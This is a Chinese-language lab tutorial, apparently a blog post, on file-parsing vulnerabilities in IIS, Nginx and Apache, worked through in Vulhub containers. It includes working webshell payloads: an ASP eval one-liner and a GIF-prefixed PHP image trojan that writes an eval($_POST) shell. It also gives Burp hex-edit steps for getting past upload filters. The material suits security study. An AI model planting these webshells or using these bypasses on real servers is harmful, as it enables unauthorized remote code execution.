文件解析漏洞

IIS解析漏洞

IIS6.X

复制代码
#环境
Windows Server 2003

在iis6.x中,.asp文件夹中的任意文件都会被当做asp文件去执行

在默认网站里创建一个a.asp文件夹并创建一个1.jpg写进我们的asp代码

复制代码
<%=now()%>
#asp一句话
<%eval request("h")%>

单独创建一个1.jpg发现并不能解析

在a.asp下被解析

在IIS 6 处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是

shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx

IIS7.X

在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个文件路径/xx.jpg

后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。

php.ini里的cgi.fix_pathinfo=1 开启

IIS7在Fast-CGI运行模式下

复制代码
#环境
PHPstudy for IIS

配置 php.ini 文件,将 cgi.fix_pathinfo=1 注释取消掉;并重启

IIS -->配置网站-->处理程序映射-->PHPStudy_FastCGI -->请求限制 -->取消勾

然后在网站下创建我们的shell;并命名为1.jpg

去网站访问他

加上/.php就可以被解析为php文件

蚁剑连接一下

nginx解析漏洞

Vulhub靶场nginx

nginx_parsing

Nginx的文件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为 cgi.fix_pathinfo=1 造成的解析漏洞

使用 1.jpg/.php 方式进行绕过

搭建doker容器

复制代码
#搭建docker容器
yum install docker
yum install docker-compose
#确认是否安装成功
docker -v
#搭建Vulhub靶场
git clone https://github.com/vulhub/vulhub.git

搭好Vulhub靶场后

复制代码
cd vulhub/nginx/nginx_parsing_vulnerability/
docker-compose up -d
#查看端口
docker ps

上传我们的图片马

获取路径后

去访问我们的图片马并在后面加上/.php

蚁剑测试连接

Vulhub靶场CVE-2013-4547x

复制代码
#启动靶场
cd vulhub-master/nginx/CVE-2013-4547x //切换到靶机目录 
docker-compose build //创建环境
docker-compose up -d //打开环境

创建好后打开我们的靶场上传一张图片马

复制代码
GIF89a
<?php fputs(fopen('h.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>

上传的时候打开我们的BP进行抓包

在文件名后写上

空格空格.php

并在hex处修改0x20 0x20把最后一个空格换成0x00;然后放行

我们去访问他

发现我们访问不进去这时候就用到我们BP再次抓包进行修改

去Hex把20改回我们的00

就能访问到我们的木马,但是这并不是我们木马的路径,用蚁剑连是连不上的

我们的代码会生成一个一句话我们去连接他就可以了

Apache解析漏洞

Vulhub靶场apache

apache_parsing

Apache HTTPD 支持⼀个文件拥有多个后缀,并为不同后缀执行不同的指令

在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,

就再往左判断。如 1.php.xxxxx

复制代码
#搭建靶场
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
docker ps -a

无论我们的php在哪都会解析我们文件里的php代码

复制代码
GIF89a
<?php fputs(fopen('h.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>

访问一下我们上传的文件

去访问一下h.php也是成功了

Vulhub靶场CVE-2017-15715

复制代码
#搭建靶场
cd /Vulnhub/vulhub-master/httpd/CVE-2017-15715
docker-compose up -d

Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存

在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过⼀些服务器的安全

策略。

来到首页,上传文件会被拦截

BP抓一下包,在文件名后加一个空格;并把0x20改成0x0a

放行就成功上传;去访问一下我们的一句话

相关推荐
虹科网络安全5 小时前
Redis 安全公告:CVE-2026-81934 TLS 处理漏洞及修复建议
网络·人工智能·网络安全
JIngles12310 小时前
用 Dart 通过 S3 API 操作 MinIO:文件上传与下载 Demo
中间件·minio·存储
2501_9160088911 小时前
全平台抓包工具,Windows、iPhone、Linux三个平台抓包测试
网络协议·计算机网络·网络安全·ios·adb·https·udp
Dachui_112213 小时前
ZeroNews LFS 使用教程:NAS 文件发布为公网 HTTPS 文件空间,不传网盘、按人授权、免登录分享
运维·网络安全·文件共享·团队协作·nas
杭州默安科技15 小时前
从海量告警到精准修复:安全智能体如何打通开发安全工具链
网络安全·ai智能体
m0_7156744315 小时前
2026年中国API安全产品综合排名:选型指南与行业趋势解析
网络·安全·网络安全
天若有情67318 小时前
开源SQL注入可视化演示项目|GitHub Pages+Netlify双平台免费部署教程
网络安全·代码审计·githubpages·sql 注入·web 安全·前端演示·netlify 部署
三84418 小时前
云安全 · 02 · 容器与 Docker 安全基础
web安全·docker·云安全
数据知道19 小时前
LDAP 与 AD 安全深度剖析——注入、弱绑定、权限配置错误
网络安全·密码学·哈希算法
躺柒19 小时前
读数据可视化34其他科学与艺术
网络安全·信息可视化·气象学·可视化·数据可视化·气候模型